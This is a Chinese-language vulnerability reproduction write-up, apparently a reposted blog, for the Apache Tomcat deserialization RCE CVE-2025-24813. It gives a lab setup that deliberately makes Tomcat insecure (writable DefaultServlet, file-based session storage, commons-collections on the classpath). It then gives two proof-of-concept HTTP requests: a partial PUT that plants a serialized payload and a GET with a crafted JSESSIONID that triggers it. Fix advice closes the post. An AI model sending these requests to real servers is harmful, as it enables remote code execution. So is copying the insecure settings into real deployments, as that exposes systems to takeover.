漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

admin 2025年3月14日19:26:29评论54 views字数 2224阅读7分24秒阅读模式

这次终于给我赶上热乎了的了,马上开始复现!

影响版本

11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.210.1.0-M1 ≤ Apache Tomcat ≤ 10.1.349.0.0. M1 ≤ Apache Tomcat ≤ 9.0.98

和前段时间的条件竞争漏洞涉及的版本基本一致

漏洞介绍

因为笔者是小菜鸡,代审之类的一窍不通,所以只对漏洞成因做大致的原理分析,大佬勿喷>_<

漏洞成因

当Tomcat DefaultServlet PUT在默认开启PUT写入的情况下,攻击者可以通过向指定目录发送反序列化载荷,使其因为Tomcat的临时Session会话文件存储功能被保存为“.xxx.session”文件,然后再通过去解析被攻击者恶意构造上传的JSESSIONID 时,就可以触发反序列化导致RCE。

漏洞条件

这个漏洞依然是利用条件苛刻,需要同时满足三个条件才可以利用:

  • 开启DefaultServlet 的写入功能,允许PUT上传文件
  • 开启Tomcat临时Session会话文件存储功能
  • 类路径下至少有一个存在反序列化漏洞的库

环境搭建

具体tomcat前期搭建步骤参考:CVE-2024-50379 Apache Tomcat条件竞争RCE复现(宝宝级教程,高成功率)

基于已经搭建好的tomcat环境,我们需要修改conf目录下的两个文件:

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

web.xml下增加一段:

<servlet>      <servlet-name>default</servlet-name>      <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>      <init-param>          <param-name>debug</param-name>           <param-value>0</param-value>      </init-param>      <init-param>          <param-name>listings</param-name>          <param-value>false</param-value>      </init-param>      <init-param>          <param-name>readonly</param-name>          <param-value>false</param-value>      </init-param>      <load-on-startup>1</load-on-startup></servlet>

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

切记要把只读readonly设置为false

然后context.xml添加一段:

<ManagerclassName="org.apache.catalina.session.PersistentManager">       <StoreclassName="org.apache.catalina.session.FileStore"/>     </Manager>   

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

需要注意缩进格式

涉及xml修改的都要切记要以UTF-8无BOM的编码保存,否则会报错

然后需要添加一个存在反序列化漏洞的库,比如commons-collections、或者commons-beanutils之类的,这里以commons-collections做复现

下载地址:

https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

接着在webappsROOTWEB-INF下新建一个文件夹lib,把下载的jar放在文件夹里面

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

这样环境就搭建完成了,开启tomcat服务!

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

漏洞复现

首先我们需要构建反序列化攻击链,比如我们这里用的commons-collections,去找commons-collections的链子:

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

测试过发现大部分都是可以成功的

然后前往webfuzzer

POC1:

PUT /xxx/session HTTP/1.1Host: 192.168.255.147:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{反序列化文件内容)}}

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

要注意的几个点,首先Range的分块值需要与Length保持一致,且大于当前文件的长度,不清楚的话就不要修改POC;然后就是反序列化载荷这块不能直接以base64传过去,需要先进行base64解码再传输,用yakit的话只需要加个标签就好

响应码409,代表反序列化载荷已经被写到”.xxx.session”里面了

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

POC2:

GET / HTTP/1.1  Host192.168.255.147:8080  Cookie: JSESSIONID=.xxx

响应码为500,此时我们就会发现,计算器弹出来了!

漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

漏洞修复

更新至不受影响版本,将readonly设置为true,关闭临时Session会话文件存储功能

参考链接

https://forum.butian.net/article/674

暂时无法播放,可回源网站播放

原文始发于微信公众号(咸苹果学安全):漏洞复现——Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月14日19:26:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现·Apache Tomcat反序列化RCE漏洞(CVE-2025-24813)https://cn-sec.com/archives/3839919.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息